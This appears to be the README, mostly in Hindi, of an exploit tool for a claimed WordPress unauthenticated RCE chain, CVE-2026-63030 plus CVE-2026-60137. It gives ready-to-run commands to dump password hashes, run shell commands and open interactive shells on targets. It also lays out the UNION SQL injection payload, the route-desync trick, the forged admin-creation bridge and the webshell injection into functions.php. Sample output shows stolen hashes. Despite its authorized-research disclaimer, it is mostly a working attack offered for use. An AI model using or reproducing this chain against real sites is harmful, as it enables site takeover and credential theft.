
CVE-2026-63030 / wp2shell
WordPress RCE एक्सप्लॉइट चेन। अनऑथेंटिकेटेड। CVSS 9.8।
| ब्रांच | असुरक्षित | पैच किया गया |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
दो CVEs को जोड़कर अनऑथेंटिकेटेड Remote Code Execution बनाया गया:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| चरण | CVE | वेक्टर |
|---|---|---|
| 1 | CVE-2026-63030 | REST /batch/v1 इंडेक्स मिसअलाइनमेंट डिस्पैच से वैलिडेशन को डीसिंक करता है |
| 2 | CVE-2026-60137 | author__not_in WP_Query पैरामीटर स्ट्रिंग के रूप में पास होने पर absint() को छोड़ देता है |
| 3 | — | UNION SELECT wp_posts पंक्तियों को गढ़ता है; oEmbed → customizer → wp_insert_user |
| 4 | — | नव निर्मित administrator के रूप में प्रमाणित करें |
| 5 | — | Theme editor सक्रिय theme में token-संरक्षित webshell इंजेक्ट करता है |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPress का बैच एंडपॉइंट /?rest_route=/batch/v1 सब-रिक्वेस्ट्स की एक सरणी स्वीकार करता है। जब किसी सब-रिक्वेस्ट का पथ पार्स नहीं किया जा सकता (///), तो $validation में एक WP_Error जोड़ा जाता है लेकिन $matches में नहीं। इसके बाद डिस्पैच लूप रिक्वेस्ट N को हैंडलर N+1 के साथ जोड़ देता है — इस प्रकार एक रिक्वेस्ट जो एक स्कीमा के विरुद्ध वैलिडेट की गई थी, उसे एक अलग हैंडलर पर डिस्पैच कर दिया जाता है।
एक्सप्लॉइट एक 3-लेयर नेस्टेड बैच भेजता है जहाँ प्रत्येक लेयर इंडेक्स को शिफ्ट करने के लिए स्थिति 0 पर एक डीसिंक प्राइमर का उपयोग करती है। सबसे भीतरी रिक्वेस्ट — जिसे एकल-पोस्ट आइटम (GET /wp/v2/posts/999999) के रूप में वैलिडेट किया गया था — कलेक्शन हैंडलर (posts->get_items()) पर पहुँच जाती है। चूँकि आइटम स्कीमा author_exclude को परिभाषित नहीं करता, पैरामीटर बिना वैलिडेशन के पास हो जाता है।
get_items() author_exclude → author__not_in को मैप करता है और इसे WP_Query को पास करता है। जब author__not_in एक स्ट्रिंग होती है (सरणी नहीं), तो array_map('absint', …) ब्लॉक छोड़ दिया जाता है। कच्ची स्ट्रिंग सीधे यहाँ पहुँच जाती है:
WHERE post_author NOT IN (<payload>)
पेलोड 0) UNION ALL SELECT …-- - NOT IN सूची को बंद करता है और मनमाना SQL जोड़ता है।
WordPress 7.0.x के wp_posts में ठीक 23 कॉलम हैं। orderby=none (पीछे आने वाले ORDER BY को दबाता है) और per_page=500 (WP_Query को full-row मोड में रखता है) के साथ UNION ALL SELECT द्वारा एक नकली पंक्ति इंजेक्ट करके, नकली पोस्ट शीर्षक — जिसमें ||HEX|| मार्कर होता है — REST प्रतिक्रिया में प्रतिबिंबित होता है। सभी स्ट्रिंग मान MySQL हेक्स लिटरल (0x…) का उपयोग करते हैं ताकि URL एन्कोडिंग के माध्यम से कोट-एस्केपिंग समस्याओं से बचा जा सके।
[embed] शॉर्टकोड वाली एक पोस्ट को UNION-फोर्ज करें → WordPress 3 oembed_cache पंक्तियाँ बनाता हैwp_posts पंक्तियों को UNION-फोर्ज करें[embed] शॉर्टकोड रेंडर होता है, जो WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() को ट्रिगर करता हैwp2_<random>) और पासवर्ड (Wp2!<random>) के साथ बनाया जाता हैनए एडमिन के रूप में लॉगिन करें → थीम एडिटर नॉनस निकालें → सक्रिय थीम के functions.php के शीर्ष पर टोकन-संरक्षित PHP वेबशेल इंजेक्ट करें → ?t=<token>&c=<command> के माध्यम से एक्सेस करें।
wp_remote_post() लूपबैक जाँच करता है। यदि कंटेनर होस्टनाम द्वारा स्वयं तक नहीं पहुँच सकता, तो थीम संपादन अवरुद्ध हो जाता है। ऐसे मामलों में --dump-users + मैन्युअल लॉगिन का उपयोग करें।--check के साथ परीक्षण करें।$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
यह टूल केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।